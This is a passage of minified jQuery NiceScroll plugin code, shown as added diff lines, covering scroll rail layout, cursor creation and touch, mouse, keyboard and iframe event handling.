+c+=a.rail.align?a.win.outerWidth()-d(a.win,"border-right-width")-a.rail.width:d(a.win,"border-left-width");if(e=a.opt.railoffset)e.top&&(g+=e.top),e.left&&(c+=e.left);a.railslocked||a.rail.css({top:g,left:c,height:(b?b.h:a.win.innerHeight())-(a.opt.railpadding.top+a.opt.railpadding.bottom)});a.zoom&&a.zoom.css({top:g+1,left:1==a.rail.align?c-20:c+a.rail.width+4});if(a.railh&&!a.railslocked){g=f.top;c=f.left;if(e=a.opt.railhoffset)e.top&&(g+=e.top),e.left&&(c+=e.left);b=a.railh.align?g+d(a.win,"border-top-width",
+!0)+a.win.innerHeight()-a.railh.height:g+d(a.win,"border-top-width",!0);c+=d(a.win,"border-left-width");a.railh.css({top:b-(a.opt.railpadding.top+a.opt.railpadding.bottom),left:c,width:a.railh.width})}}};this.doRailClick=function(b,g,c){var d;a.railslocked||(a.cancelEvent(b),g?(g=c?a.doScrollLeft:a.doScrollTop,d=c?(b.pageX-a.railh.offset().left-a.cursorwidth/2)*a.scrollratio.x:(b.pageY-a.rail.offset().top-a.cursorheight/2)*a.scrollratio.y,g(d)):(g=c?a.doScrollLeftBy:a.doScrollBy,d=c?a.scroll.x:a.scroll.y,
+b=c?b.pageX-a.railh.offset().left:b.pageY-a.rail.offset().top,c=c?a.view.w:a.view.h,g(d>=b?c:-c)))};a.hasanimationframe=v;a.hascancelanimationframe=w;a.hasanimationframe?a.hascancelanimationframe||(w=function(){a.cancelAnimationFrame=!0}):(v=function(a){return setTimeout(a,15-Math.floor(+new Date/1E3)%16)},w=clearTimeout);this.init=function(){a.saved.css=[];if(e.isie7mobile||e.isoperamini)return!0;e.hasmstouch&&a.css(a.ispage?f("html"):a.win,{_touchaction:"none"});var b=e.ismodernie||e.isie10?{"-ms-overflow-style":"none"}:
+{"overflow-y":"hidden"};a.zindex="auto";a.zindex=a.ispage||"auto"!=a.opt.zindex?a.opt.zindex:l()||"auto";!a.ispage&&"auto"!=a.zindex&&a.zindex>A&&(A=a.zindex);a.isie&&0==a.zindex&&"auto"==a.opt.zindex&&(a.zindex="auto");if(!a.ispage||!e.cantouch&&!e.isieold&&!e.isie9mobile){var c=a.docscroll;a.ispage&&(c=a.haswrapper?a.win:a.doc);e.isie9mobile||a.css(c,b);a.ispage&&e.isie7&&("BODY"==a.doc[0].nodeName?a.css(f("html"),{"overflow-y":"hidden"}):"HTML"==a.doc[0].nodeName&&a.css(f("body"),b));!e.isios||
+a.ispage||a.haswrapper||a.css(f("body"),{"-webkit-overflow-scrolling":"touch"});var d=f(document.createElement("div"));d.css({position:"relative",top:0,"float":"right",width:a.opt.cursorwidth,height:0,"background-color":a.opt.cursorcolor,border:a.opt.cursorborder,"background-clip":"padding-box","-webkit-border-radius":a.opt.cursorborderradius,"-moz-border-radius":a.opt.cursorborderradius,"border-radius":a.opt.cursorborderradius});d.hborder=parseFloat(d.outerHeight()-d.innerHeight());d.addClass("nicescroll-cursors");
+a.cursor=d;var m=f(document.createElement("div"));m.attr("id",a.id);m.addClass("nicescroll-rails nicescroll-rails-vr");var k,h,p=["left","right","top","bottom"],L;for(L in p)h=p[L],(k=a.opt.railpadding[h])?m.css("padding-"+h,k+"px"):a.opt.railpadding[h]=0;m.append(d);m.width=Math.max(parseFloat(a.opt.cursorwidth),d.outerWidth());m.css({width:m.width+"px",zIndex:a.zindex,background:a.opt.background,cursor:"default"});m.visibility=!0;m.scrollable=!0;m.align="left"==a.opt.railalign?0:1;a.rail=m;d=a.rail.drag=
+!1;!a.opt.boxzoom||a.ispage||e.isieold||(d=document.createElement("div"),a.bind(d,"click",a.doZoom),a.bind(d,"mouseenter",function(){a.zoom.css("opacity",a.opt.cursoropacitymax)}),a.bind(d,"mouseleave",function(){a.zoom.css("opacity",a.opt.cursoropacitymin)}),a.zoom=f(d),a.zoom.css({cursor:"pointer",zIndex:a.zindex,backgroundImage:"url("+a.opt.scriptpath+"zoomico.png)",height:18,width:18,backgroundPosition:"0px 0px"}),a.opt.dblclickzoom&&a.bind(a.win,"dblclick",a.doZoom),e.cantouch&&a.opt.gesturezoom&&
+(a.ongesturezoom=function(b){1.5<b.scale&&a.doZoomIn(b);.8>b.scale&&a.doZoomOut(b);return a.cancelEvent(b)},a.bind(a.win,"gestureend",a.ongesturezoom)));a.railh=!1;var n;a.opt.horizrailenabled&&(a.css(c,{overflowX:"hidden"}),d=f(document.createElement("div")),d.css({position:"absolute",top:0,height:a.opt.cursorwidth,width:0,backgroundColor:a.opt.cursorcolor,border:a.opt.cursorborder,backgroundClip:"padding-box","-webkit-border-radius":a.opt.cursorborderradius,"-moz-border-radius":a.opt.cursorborderradius,
+"border-radius":a.opt.cursorborderradius}),e.isieold&&d.css("overflow","hidden"),d.wborder=parseFloat(d.outerWidth()-d.innerWidth()),d.addClass("nicescroll-cursors"),a.cursorh=d,n=f(document.createElement("div")),n.attr("id",a.id+"-hr"),n.addClass("nicescroll-rails nicescroll-rails-hr"),n.height=Math.max(parseFloat(a.opt.cursorwidth),d.outerHeight()),n.css({height:n.height+"px",zIndex:a.zindex,background:a.opt.background}),n.append(d),n.visibility=!0,n.scrollable=!0,n.align="top"==a.opt.railvalign?
+0:1,a.railh=n,a.railh.drag=!1);a.ispage?(m.css({position:"fixed",top:0,height:"100%"}),m.align?m.css({right:0}):m.css({left:0}),a.body.append(m),a.railh&&(n.css({position:"fixed",left:0,width:"100%"}),n.align?n.css({bottom:0}):n.css({top:0}),a.body.append(n))):(a.ishwscroll?("static"==a.win.css("position")&&a.css(a.win,{position:"relative"}),c="HTML"==a.win[0].nodeName?a.body:a.win,f(c).scrollTop(0).scrollLeft(0),a.zoom&&(a.zoom.css({position:"absolute",top:1,right:0,"margin-right":m.width+4}),c.append(a.zoom)),
+m.css({position:"absolute",top:0}),m.align?m.css({right:0}):m.css({left:0}),c.append(m),n&&(n.css({position:"absolute",left:0,bottom:0}),n.align?n.css({bottom:0}):n.css({top:0}),c.append(n))):(a.isfixed="fixed"==a.win.css("position"),c=a.isfixed?"fixed":"absolute",a.isfixed||(a.viewport=a.getViewport(a.win[0])),a.viewport&&(a.body=a.viewport,0==/fixed|absolute/.test(a.viewport.css("position"))&&a.css(a.viewport,{position:"relative"})),m.css({position:c}),a.zoom&&a.zoom.css({position:c}),a.updateScrollBar(),
+a.body.append(m),a.zoom&&a.body.append(a.zoom),a.railh&&(n.css({position:c}),a.body.append(n))),e.isios&&a.css(a.win,{"-webkit-tap-highlight-color":"rgba(0,0,0,0)","-webkit-touch-callout":"none"}),e.isie&&a.opt.disableoutline&&a.win.attr("hideFocus","true"),e.iswebkit&&a.opt.disableoutline&&a.win.css("outline","none"));!1===a.opt.autohidemode?(a.autohidedom=!1,a.rail.css({opacity:a.opt.cursoropacitymax}),a.railh&&a.railh.css({opacity:a.opt.cursoropacitymax})):!0===a.opt.autohidemode||"leave"===a.opt.autohidemode?
+(a.autohidedom=f().add(a.rail),e.isie8&&(a.autohidedom=a.autohidedom.add(a.cursor)),a.railh&&(a.autohidedom=a.autohidedom.add(a.railh)),a.railh&&e.isie8&&(a.autohidedom=a.autohidedom.add(a.cursorh))):"scroll"==a.opt.autohidemode?(a.autohidedom=f().add(a.rail),a.railh&&(a.autohidedom=a.autohidedom.add(a.railh))):"cursor"==a.opt.autohidemode?(a.autohidedom=f().add(a.cursor),a.railh&&(a.autohidedom=a.autohidedom.add(a.cursorh))):"hidden"==a.opt.autohidemode&&(a.autohidedom=!1,a.hide(),a.railslocked=
+!1);if(e.isie9mobile)a.scrollmom=new M(a),a.onmangotouch=function(){var b=a.getScrollTop(),c=a.getScrollLeft();if(b==a.scrollmom.lastscrolly&&c==a.scrollmom.lastscrollx)return!0;var g=b-a.mangotouch.sy,d=c-a.mangotouch.sx;if(0!=Math.round(Math.sqrt(Math.pow(d,2)+Math.pow(g,2)))){var e=0>g?-1:1,f=0>d?-1:1,u=+new Date;a.mangotouch.lazy&&clearTimeout(a.mangotouch.lazy);80<u-a.mangotouch.tm||a.mangotouch.dry!=e||a.mangotouch.drx!=f?(a.scrollmom.stop(),a.scrollmom.reset(c,b),a.mangotouch.sy=b,a.mangotouch.ly=
+b,a.mangotouch.sx=c,a.mangotouch.lx=c,a.mangotouch.dry=e,a.mangotouch.drx=f,a.mangotouch.tm=u):(a.scrollmom.stop(),a.scrollmom.update(a.mangotouch.sx-d,a.mangotouch.sy-g),a.mangotouch.tm=u,g=Math.max(Math.abs(a.mangotouch.ly-b),Math.abs(a.mangotouch.lx-c)),a.mangotouch.ly=b,a.mangotouch.lx=c,2<g&&(a.mangotouch.lazy=setTimeout(function(){a.mangotouch.lazy=!1;a.mangotouch.dry=0;a.mangotouch.drx=0;a.mangotouch.tm=0;a.scrollmom.doMomentum(30)},100)))}},m=a.getScrollTop(),n=a.getScrollLeft(),a.mangotouch=
+{sy:m,ly:m,dry:0,sx:n,lx:n,drx:0,lazy:!1,tm:0},a.bind(a.docscroll,"scroll",a.onmangotouch);else{if(e.cantouch||a.istouchcapable||a.opt.touchbehavior||e.hasmstouch){a.scrollmom=new M(a);a.ontouchstart=function(b){if(b.pointerType&&2!=b.pointerType&&"touch"!=b.pointerType)return!1;a.hasmoving=!1;if(!a.railslocked){var c;if(e.hasmstouch)for(c=b.target?b.target:!1;c;){var g=f(c).getNiceScroll();if(0<g.length&&g[0].me==a.me)break;if(0<g.length)return!1;if("DIV"==c.nodeName&&c.id==a.id)break;c=c.parentNode?
+c.parentNode:!1}a.cancelScroll();if((c=a.getTarget(b))&&/INPUT/i.test(c.nodeName)&&/range/i.test(c.type))return a.stopPropagation(b);!("clientX"in b)&&"changedTouches"in b&&(b.clientX=b.changedTouches[0].clientX,b.clientY=b.changedTouches[0].clientY);a.forcescreen&&(g=b,b={original:b.original?b.original:b},b.clientX=g.screenX,b.clientY=g.screenY);a.rail.drag={x:b.clientX,y:b.clientY,sx:a.scroll.x,sy:a.scroll.y,st:a.getScrollTop(),sl:a.getScrollLeft(),pt:2,dl:!1};if(a.ispage||!a.opt.directionlockdeadzone)a.rail.drag.dl=
+"f";else{var g=f(window).width(),d=f(window).height(),d=Math.max(0,Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)-d),g=Math.max(0,Math.max(document.body.scrollWidth,document.documentElement.scrollWidth)-g);a.rail.drag.ck=!a.rail.scrollable&&a.railh.scrollable?0<d?"v":!1:a.rail.scrollable&&!a.railh.scrollable?0<g?"h":!1:!1;a.rail.drag.ck||(a.rail.drag.dl="f")}a.opt.touchbehavior&&a.isiframe&&e.isie&&(g=a.win.position(),a.rail.drag.x+=g.left,a.rail.drag.y+=g.top);a.hasmoving=
+!1;a.lastmouseup=!1;a.scrollmom.reset(b.clientX,b.clientY);if(!e.cantouch&&!this.istouchcapable&&!b.pointerType){if(!c||!/INPUT|SELECT|TEXTAREA/i.test(c.nodeName))return!a.ispage&&e.hasmousecapture&&c.setCapture(),a.opt.touchbehavior?(c.onclick&&!c._onclick&&(c._onclick=c.onclick,c.onclick=function(b){if(a.hasmoving)return!1;c._onclick.call(this,b)}),a.cancelEvent(b)):a.stopPropagation(b);/SUBMIT|CANCEL|BUTTON/i.test(f(c).attr("type"))&&(pc={tg:c,click:!1},a.preventclick=pc)}}};a.ontouchend=function(b){if(!a.rail.drag)return!0;
+if(2==a.rail.drag.pt){if(b.pointerType&&2!=b.pointerType&&"touch"!=b.pointerType)return!1;a.scrollmom.doMomentum();a.rail.drag=!1;if(a.hasmoving&&(a.lastmouseup=!0,a.hideCursor(),e.hasmousecapture&&document.releaseCapture(),!e.cantouch))return a.cancelEvent(b)}else if(1==a.rail.drag.pt)return a.onmouseup(b)};var q=a.opt.touchbehavior&&a.isiframe&&!e.hasmousecapture;a.ontouchmove=function(b,c){if(!a.rail.drag||b.targetTouches&&a.opt.preventmultitouchscrolling&&1<b.targetTouches.length||b.pointerType&&
+2!=b.pointerType&&"touch"!=b.pointerType)return!1;if(2==a.rail.drag.pt){if(e.cantouch&&e.isios&&void 0===b.original)return!0;a.hasmoving=!0;a.preventclick&&!a.preventclick.click&&(a.preventclick.click=a.preventclick.tg.onclick||!1,a.preventclick.tg.onclick=a.onpreventclick);b=f.extend({original:b},b);"changedTouches"in b&&(b.clientX=b.changedTouches[0].clientX,b.clientY=b.changedTouches[0].clientY);if(a.forcescreen){var g=b;b={original:b.original?b.original:b};b.clientX=g.screenX;b.clientY=g.screenY}var d,
+g=d=0;q&&!c&&(d=a.win.position(),g=-d.left,d=-d.top);var u=b.clientY+d;d=u-a.rail.drag.y;var m=b.clientX+g,k=m-a.rail.drag.x,h=a.rail.drag.st-d;a.ishwscroll&&a.opt.bouncescroll?0>h?h=Math.round(h/2):h>a.page.maxh&&(h=a.page.maxh+Math.round((h-a.page.maxh)/2)):(0>h&&(u=h=0),h>a.page.maxh&&(h=a.page.maxh,u=0));var l;a.railh&&a.railh.scrollable&&(l=a.isrtlmode?k-a.rail.drag.sl:a.rail.drag.sl-k,a.ishwscroll&&a.opt.bouncescroll?0>l?l=Math.round(l/2):l>a.page.maxw&&(l=a.page.maxw+Math.round((l-a.page.maxw)/
+2)):(0>l&&(m=l=0),l>a.page.maxw&&(l=a.page.maxw,m=0)));g=!1;if(a.rail.drag.dl)g=!0,"v"==a.rail.drag.dl?l=a.rail.drag.sl:"h"==a.rail.drag.dl&&(h=a.rail.drag.st);else{d=Math.abs(d);var k=Math.abs(k),C=a.opt.directionlockdeadzone;if("v"==a.rail.drag.ck){if(d>C&&k<=.3*d)return a.rail.drag=!1,!0;k>C&&(a.rail.drag.dl="f",f("body").scrollTop(f("body").scrollTop()))}else if("h"==a.rail.drag.ck){if(k>C&&d<=.3*k)return a.rail.drag=!1,!0;d>C&&(a.rail.drag.dl="f",f("body").scrollLeft(f("body").scrollLeft()))}}a.synched("touchmove",
+function(){a.rail.drag&&2==a.rail.drag.pt&&(a.prepareTransition&&a.prepareTransition(0),a.rail.scrollable&&a.setScrollTop(h),a.scrollmom.update(m,u),a.railh&&a.railh.scrollable?(a.setScrollLeft(l),a.showCursor(h,l)):a.showCursor(h),e.isie10&&document.selection.clear())});e.ischrome&&a.istouchcapable&&(g=!1);if(g)return a.cancelEvent(b)}else if(1==a.rail.drag.pt)return a.onmousemove(b)}}a.onmousedown=function(b,c){if(!a.rail.drag||1==a.rail.drag.pt){if(a.railslocked)return a.cancelEvent(b);a.cancelScroll();
+a.rail.drag={x:b.clientX,y:b.clientY,sx:a.scroll.x,sy:a.scroll.y,pt:1,hr:!!c};var g=a.getTarget(b);!a.ispage&&e.hasmousecapture&&g.setCapture();a.isiframe&&!e.hasmousecapture&&(a.saved.csspointerevents=a.doc.css("pointer-events"),a.css(a.doc,{"pointer-events":"none"}));a.hasmoving=!1;return a.cancelEvent(b)}};a.onmouseup=function(b){if(a.rail.drag){if(1!=a.rail.drag.pt)return!0;e.hasmousecapture&&document.releaseCapture();a.isiframe&&!e.hasmousecapture&&a.doc.css("pointer-events",a.saved.csspointerevents);
+a.rail.drag=!1;a.hasmoving&&a.triggerScrollEnd();return a.cancelEvent(b)}};a.onmousemove=function(b){if(a.rail.drag){if(1==a.rail.drag.pt){if(e.ischrome&&0==b.which)return a.onmouseup(b);a.cursorfreezed=!0;a.hasmoving=!0;if(a.rail.drag.hr){a.scroll.x=a.rail.drag.sx+(b.clientX-a.rail.drag.x);0>a.scroll.x&&(a.scroll.x=0);var c=a.scrollvaluemaxw;a.scroll.x>c&&(a.scroll.x=c)}else a.scroll.y=a.rail.drag.sy+(b.clientY-a.rail.drag.y),0>a.scroll.y&&(a.scroll.y=0),c=a.scrollvaluemax,a.scroll.y>c&&(a.scroll.y=
+c);a.synched("mousemove",function(){a.rail.drag&&1==a.rail.drag.pt&&(a.showCursor(),a.rail.drag.hr?a.hasreversehr?a.doScrollLeft(a.scrollvaluemaxw-Math.round(a.scroll.x*a.scrollratio.x),a.opt.cursordragspeed):a.doScrollLeft(Math.round(a.scroll.x*a.scrollratio.x),a.opt.cursordragspeed):a.doScrollTop(Math.round(a.scroll.y*a.scrollratio.y),a.opt.cursordragspeed))});return a.cancelEvent(b)}}else a.checkarea=0};if(e.cantouch||a.opt.touchbehavior)a.onpreventclick=function(b){if(a.preventclick)return a.preventclick.tg.onclick=
+a.preventclick.click,a.preventclick=!1,a.cancelEvent(b)},a.bind(a.win,"mousedown",a.ontouchstart),a.onclick=e.isios?!1:function(b){return a.lastmouseup?(a.lastmouseup=!1,a.cancelEvent(b)):!0},a.opt.grabcursorenabled&&e.cursorgrabvalue&&(a.css(a.ispage?a.doc:a.win,{cursor:e.cursorgrabvalue}),a.css(a.rail,{cursor:e.cursorgrabvalue}));else{var r=function(b){if(a.selectiondrag){if(b){var c=a.win.outerHeight();b=b.pageY-a.selectiondrag.top;0<b&&b<c&&(b=0);b>=c&&(b-=c);a.selectiondrag.df=b}0!=a.selectiondrag.df&&
+(a.doScrollBy(2*-Math.floor(a.selectiondrag.df/6)),a.debounced("doselectionscroll",function(){r()},50))}};a.hasTextSelected="getSelection"in document?function(){return 0<document.getSelection().rangeCount}:"selection"in document?function(){return"None"!=document.selection.type}:function(){return!1};a.onselectionstart=function(b){a.ispage||(a.selectiondrag=a.win.offset())};a.onselectionend=function(b){a.selectiondrag=!1};a.onselectiondrag=function(b){a.selectiondrag&&a.hasTextSelected()&&a.debounced("selectionscroll",
+function(){r(b)},250)}}e.hasw3ctouch?(a.css(a.rail,{"touch-action":"none"}),a.css(a.cursor,{"touch-action":"none"}),a.bind(a.win,"pointerdown",a.ontouchstart),a.bind(document,"pointerup",a.ontouchend),a.bind(document,"pointermove",a.ontouchmove)):e.hasmstouch?(a.css(a.rail,{"-ms-touch-action":"none"}),a.css(a.cursor,{"-ms-touch-action":"none"}),a.bind(a.win,"MSPointerDown",a.ontouchstart),a.bind(document,"MSPointerUp",a.ontouchend),a.bind(document,"MSPointerMove",a.ontouchmove),a.bind(a.cursor,"MSGestureHold",
+function(a){a.preventDefault()}),a.bind(a.cursor,"contextmenu",function(a){a.preventDefault()})):this.istouchcapable&&(a.bind(a.win,"touchstart",a.ontouchstart),a.bind(document,"touchend",a.ontouchend),a.bind(document,"touchcancel",a.ontouchend),a.bind(document,"touchmove",a.ontouchmove));if(a.opt.cursordragontouch||!e.cantouch&&!a.opt.touchbehavior)a.rail.css({cursor:"default"}),a.railh&&a.railh.css({cursor:"default"}),a.jqbind(a.rail,"mouseenter",function(){if(!a.ispage&&!a.win.is(":visible"))return!1;
+a.canshowonmouseevent&&a.showCursor();a.rail.active=!0}),a.jqbind(a.rail,"mouseleave",function(){a.rail.active=!1;a.rail.drag||a.hideCursor()}),a.opt.sensitiverail&&(a.bind(a.rail,"click",function(b){a.doRailClick(b,!1,!1)}),a.bind(a.rail,"dblclick",function(b){a.doRailClick(b,!0,!1)}),a.bind(a.cursor,"click",function(b){a.cancelEvent(b)}),a.bind(a.cursor,"dblclick",function(b){a.cancelEvent(b)})),a.railh&&(a.jqbind(a.railh,"mouseenter",function(){if(!a.ispage&&!a.win.is(":visible"))return!1;a.canshowonmouseevent&&
+a.showCursor();a.rail.active=!0}),a.jqbind(a.railh,"mouseleave",function(){a.rail.active=!1;a.rail.drag||a.hideCursor()}),a.opt.sensitiverail&&(a.bind(a.railh,"click",function(b){a.doRailClick(b,!1,!0)}),a.bind(a.railh,"dblclick",function(b){a.doRailClick(b,!0,!0)}),a.bind(a.cursorh,"click",function(b){a.cancelEvent(b)}),a.bind(a.cursorh,"dblclick",function(b){a.cancelEvent(b)})));e.cantouch||a.opt.touchbehavior?(a.bind(e.hasmousecapture?a.win:document,"mouseup",a.ontouchend),a.bind(document,"mousemove",
+a.ontouchmove),a.onclick&&a.bind(document,"click",a.onclick),a.opt.cursordragontouch?(a.bind(a.cursor,"mousedown",a.onmousedown),a.bind(a.cursor,"mouseup",a.onmouseup),a.cursorh&&a.bind(a.cursorh,"mousedown",function(b){a.onmousedown(b,!0)}),a.cursorh&&a.bind(a.cursorh,"mouseup",a.onmouseup)):(a.bind(a.rail,"mousedown",function(a){a.preventDefault()}),a.railh&&a.bind(a.railh,"mousedown",function(a){a.preventDefault()}))):(a.bind(e.hasmousecapture?a.win:document,"mouseup",a.onmouseup),a.bind(document,
+"mousemove",a.onmousemove),a.onclick&&a.bind(document,"click",a.onclick),a.bind(a.cursor,"mousedown",a.onmousedown),a.bind(a.cursor,"mouseup",a.onmouseup),a.railh&&(a.bind(a.cursorh,"mousedown",function(b){a.onmousedown(b,!0)}),a.bind(a.cursorh,"mouseup",a.onmouseup)),!a.ispage&&a.opt.enablescrollonselection&&(a.bind(a.win[0],"mousedown",a.onselectionstart),a.bind(document,"mouseup",a.onselectionend),a.bind(a.cursor,"mouseup",a.onselectionend),a.cursorh&&a.bind(a.cursorh,"mouseup",a.onselectionend),
+a.bind(document,"mousemove",a.onselectiondrag)),a.zoom&&(a.jqbind(a.zoom,"mouseenter",function(){a.canshowonmouseevent&&a.showCursor();a.rail.active=!0}),a.jqbind(a.zoom,"mouseleave",function(){a.rail.active=!1;a.rail.drag||a.hideCursor()})));a.opt.enablemousewheel&&(a.isiframe||a.mousewheel(e.isie&&a.ispage?document:a.win,a.onmousewheel),a.mousewheel(a.rail,a.onmousewheel),a.railh&&a.mousewheel(a.railh,a.onmousewheelhr));a.ispage||e.cantouch||/HTML|^BODY/.test(a.win[0].nodeName)||(a.win.attr("tabindex")||
+a.win.attr({tabindex:O++}),a.jqbind(a.win,"focus",function(b){B=a.getTarget(b).id||!0;a.hasfocus=!0;a.canshowonmouseevent&&a.noticeCursor()}),a.jqbind(a.win,"blur",function(b){B=!1;a.hasfocus=!1}),a.jqbind(a.win,"mouseenter",function(b){F=a.getTarget(b).id||!0;a.hasmousefocus=!0;a.canshowonmouseevent&&a.noticeCursor()}),a.jqbind(a.win,"mouseleave",function(){F=!1;a.hasmousefocus=!1;a.rail.drag||a.hideCursor()}))}a.onkeypress=function(b){if(a.railslocked&&0==a.page.maxh)return!0;b=b?b:window.e;var c=
+a.getTarget(b);if(c&&/INPUT|TEXTAREA|SELECT|OPTION/.test(c.nodeName)&&(!c.getAttribute("type")&&!c.type||!/submit|button|cancel/i.tp)||f(c).attr("contenteditable"))return!0;if(a.hasfocus||a.hasmousefocus&&!B||a.ispage&&!B&&!F){c=b.keyCode;if(a.railslocked&&27!=c)return a.cancelEvent(b);var g=b.ctrlKey||!1,d=b.shiftKey||!1,e=!1;switch(c){case 38:case 63233:a.doScrollBy(72);e=!0;break;case 40:case 63235:a.doScrollBy(-72);e=!0;break;case 37:case 63232:a.railh&&(g?a.doScrollLeft(0):a.doScrollLeftBy(72),
+e=!0);break;case 39:case 63234:a.railh&&(g?a.doScrollLeft(a.page.maxw):a.doScrollLeftBy(-72),e=!0);break;case 33:case 63276:a.doScrollBy(a.view.h);e=!0;break;case 34:case 63277:a.doScrollBy(-a.view.h);e=!0;break;case 36:case 63273:a.railh&&g?a.doScrollPos(0,0):a.doScrollTo(0);e=!0;break;case 35:case 63275:a.railh&&g?a.doScrollPos(a.page.maxw,a.page.maxh):a.doScrollTo(a.page.maxh);e=!0;break;case 32:a.opt.spacebarenabled&&(d?a.doScrollBy(a.view.h):a.doScrollBy(-a.view.h),e=!0);break;case 27:a.zoomactive&&
+(a.doZoom(),e=!0)}if(e)return a.cancelEvent(b)}};a.opt.enablekeyboard&&a.bind(document,e.isopera&&!e.isopera12?"keypress":"keydown",a.onkeypress);a.bind(document,"keydown",function(b){b.ctrlKey&&(a.wheelprevented=!0)});a.bind(document,"keyup",function(b){b.ctrlKey||(a.wheelprevented=!1)});a.bind(window,"blur",function(b){a.wheelprevented=!1});a.bind(window,"resize",a.lazyResize);a.bind(window,"orientationchange",a.lazyResize);a.bind(window,"load",a.lazyResize);if(e.ischrome&&!a.ispage&&!a.haswrapper){var t=
+a.win.attr("style"),m=parseFloat(a.win.css("width"))+1;a.win.css("width",m);a.synched("chromefix",function(){a.win.attr("style",t)})}a.onAttributeChange=function(b){a.lazyResize(a.isieold?250:30)};a.isie11||!1===x||(a.observerbody=new x(function(b){b.forEach(function(b){if("attributes"==b.type)return f("body").hasClass("modal-open")&&f("body").hasClass("modal-dialog")&&!f.contains(f(".modal-dialog")[0],a.doc[0])?a.hide():a.show()});if(document.body.scrollHeight!=a.page.maxh)return a.lazyResize(30)}),
+a.observerbody.observe(document.body,{childList:!0,subtree:!0,characterData:!1,attributes:!0,attributeFilter:["class"]}));a.ispage||a.haswrapper||(!1!==x?(a.observer=new x(function(b){b.forEach(a.onAttributeChange)}),a.observer.observe(a.win[0],{childList:!0,characterData:!1,attributes:!0,subtree:!1}),a.observerremover=new x(function(b){b.forEach(function(b){if(0<b.removedNodes.length)for(var c in b.removedNodes)if(a&&b.removedNodes[c]==a.win[0])return a.remove()})}),a.observerremover.observe(a.win[0].parentNode,
+{childList:!0,characterData:!1,attributes:!1,subtree:!1})):(a.bind(a.win,e.isie&&!e.isie9?"propertychange":"DOMAttrModified",a.onAttributeChange),e.isie9&&a.win[0].attachEvent("onpropertychange",a.onAttributeChange),a.bind(a.win,"DOMNodeRemoved",function(b){b.target==a.win[0]&&a.remove()})));!a.ispage&&a.opt.boxzoom&&a.bind(window,"resize",a.resizeZoom);a.istextarea&&(a.bind(a.win,"keydown",a.lazyResize),a.bind(a.win,"mouseup",a.lazyResize));a.lazyResize(30)}if("IFRAME"==this.doc[0].nodeName){var N=
+function(){a.iframexd=!1;var c;try{c="contentDocument"in this?this.contentDocument:this.contentWindow.document}catch(g){a.iframexd=!0,c=!1}if(a.iframexd)return"console"in window&&console.log("NiceScroll error: policy restriced iframe"),!0;a.forcescreen=!0;a.isiframe&&(a.iframe={doc:f(c),html:a.doc.contents().find("html")[0],body:a.doc.contents().find("body")[0]},a.getContentSize=function(){return{w:Math.max(a.iframe.html.scrollWidth,a.iframe.body.scrollWidth),h:Math.max(a.iframe.html.scrollHeight,
+a.iframe.body.scrollHeight)}},a.docscroll=f(a.iframe.body));if(!e.isios&&a.opt.iframeautoresize&&!a.isiframe){a.win.scrollTop(0);a.doc.height("");var d=Math.max(c.getElementsByTagName("html")[0].scrollHeight,c.body.scrollHeight);a.doc.height(d)}a.lazyResize(30);e.isie7&&a.css(f(a.iframe.html),b);a.css(f(a.iframe.body),b);e.isios&&a.haswrapper&&a.css(f(c.body),{"-webkit-transform":"translate3d(0,0,0)"});"contentWindow"in this?a.bind(this.contentWindow,"scroll",a.onscroll):a.bind(c,"scroll",a.onscroll);
+a.opt.enablemousewheel&&a.mousewheel(c,a.onmousewheel);a.opt.enablekeyboard&&a.bind(c,e.isopera?"keypress":"keydown",a.onkeypress);if(e.cantouch||a.opt.touchbehavior)a.bind(c,"mousedown",a.ontouchstart),a.bind(c,"mousemove",function(b){return a.ontouchmove(b,!0)}),a.opt.grabcursorenabled&&e.cursorgrabvalue&&a.css(f(c.body),{cursor:e.cursorgrabvalue});a.bind(c,"mouseup",a.ontouchend);a.zoom&&(a.opt.dblclickzoom&&a.bind(c,"dblclick",a.doZoom),a.ongesturezoom&&a.bind(c,"gestureend",a.ongesturezoom))};
+this.doc[0].readyState&&"complete"==this.doc[0].readyState&&setTimeout(function(){N.call(a.doc[0],!1)},500);a.bind(this.doc,"load",N)}};this.showCursor=function(b,c){a.cursortimeout&&(clearTimeout(a.cursortimeout),a.cursortimeout=0);if(a.rail){a.autohidedom&&(a.autohidedom.stop().css({opacity:a.opt.cursoropacitymax}),a.cursoractive=!0);a.rail.drag&&1==a.rail.drag.pt||(void 0!==b&&!1!==b&&(a.scroll.y=Math.round(1*b/a.scrollratio.y)),void 0!==c&&(a.scroll.x=Math.round(1*c/a.scrollratio.x)));a.cursor.css({height:a.cursorheight,
+top:a.scroll.y});if(a.cursorh){var d=a.hasreversehr?a.scrollvaluemaxw-a.scroll.x:a.scroll.x;!a.rail.align&&a.rail.visibility?a.cursorh.css({width:a.cursorwidth,left:d+a.rail.width}):a.cursorh.css({width:a.cursorwidth,left:d});a.cursoractive=!0}a.zoom&&a.zoom.stop().css({opacity:a.opt.cursoropacitymax})}};this.hideCursor=function(b){a.cursortimeout||!a.rail||!a.autohidedom||a.hasmousefocus&&"leave"==a.opt.autohidemode||(a.cursortimeout=setTimeout(function(){a.rail.active&&a.showonmouseevent||(a.autohidedom.stop().animate({opacity:a.opt.cursoropacitymin}),
+a.zoom&&a.zoom.stop().animate({opacity:a.opt.cursoropacitymin}),a.cursoractive=!1);a.cursortimeout=0},b||a.opt.hidecursordelay))};this.noticeCursor=function(b,c,d){a.showCursor(c,d);a.rail.active||a.hideCursor(b)};this.getContentSize=a.ispage?function(){return{w:Math.max(document.body.scrollWidth,document.documentElement.scrollWidth),h:Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}}:a.haswrapper?function(){return{w:a.doc.outerWidth()+parseInt(a.win.css("paddingLeft"))+
+parseInt(a.win.css("paddingRight")),h:a.doc.outerHeight()+parseInt(a.win.css("paddingTop"))+parseInt(a.win.css("paddingBottom"))}}:function(){return{w:a.docscroll[0].scrollWidth,h:a.docscroll[0].scrollHeight}};this.onResize=function(b,c){if(!a||!a.win)return!1;if(!a.haswrapper&&!a.ispage){if("none"==a.win.css("display"))return a.visibility&&a.hideRail().hideRailHr(),!1;a.hidden||a.visibility||a.showRail().showRailHr()}var d=a.page.maxh,e=a.page.maxw,f=a.view.h,k=a.view.w;a.view={w:a.ispage?a.win.width():
